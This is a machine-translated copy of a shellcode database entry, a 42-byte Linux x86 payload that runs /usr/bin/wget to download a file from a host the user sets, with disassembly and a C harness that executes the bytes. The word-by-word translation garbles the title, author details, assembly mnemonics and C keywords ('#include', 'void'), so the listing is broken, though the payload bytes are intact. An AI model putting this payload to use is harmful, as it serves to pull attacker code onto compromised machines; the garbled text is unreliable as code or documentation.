このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - Remote とじ込み/提出する Download - 42 bytes
/*
肩書を与える: 	 Linux x86 - Remote とじ込み/提出する Download - 42 bytes
Author:	 Jonathan Salwan <服従させる/提出する AT 爆撃する-嵐/襲撃する.org>
Web:	 http://www.爆撃する-嵐/襲撃する.org
Twitter: http://twitter.com/jonathansalwan


!Database of Shellcodes http://www.爆撃する-嵐/襲撃する.org/shellcode/


08048054 <.text>:
 8048054:	6a 0b                	押し進める   $0xb
 8048056:	58                   	pop    %eax
 8048057:	99                   	cltd   
 8048058:	52                   	押し進める   %edx
 8048059:	68 61 61 61 61       	押し進める   $0x61616161
 804805e:	89 e1                	mov    %esp,%ecx
 8048060:	52                   	押し進める   %edx
 8048061:	6a 74                	押し進める   $0x74
 8048063:	68 2f 77 67 65       	押し進める   $0x6567772f
 8048068:	68 2f 62 69 6e       	押し進める   $0x6e69622f
 804806d:	68 2f 75 73 72       	押し進める   $0x7273752f
 8048072:	89 e3                	mov    %esp,%ebx
 8048074:	52                   	押し進める   %edx
 8048075:	51                   	押し進める   %ecx
 8048076:	53                   	押し進める   %ebx
 8048077:	89 e1                	mov    %esp,%ecx
 8048079:	cd 80                	int    $0x80
 804807b:	40                   	inc    %eax
 804807c:	cd 80                	int    $0x80
*/

#含む <stdio.h>

char sc[] = 	"\x6a\x0b\x58\x99\x52"
		"\x68\x61\x61\x61\x61" // Change it
		"\x89\xe1\x52\x6a\x74"
		"\x68\x2f\x77\x67\x65"
		"\x68\x2f\x62\x69\x6e"
		"\x68\x2f\x75\x73\x72"
		"\x89\xe3\x52\x51\x53"
		"\x89\xe1\xcd\x80\x40"
		"\xcd\x80";

int main(無効の)
{
       	fprintf(stdout,"Length: %d\n",strlen(sc));
	(*(無効の(*)()) sc)();
     
return 0;
}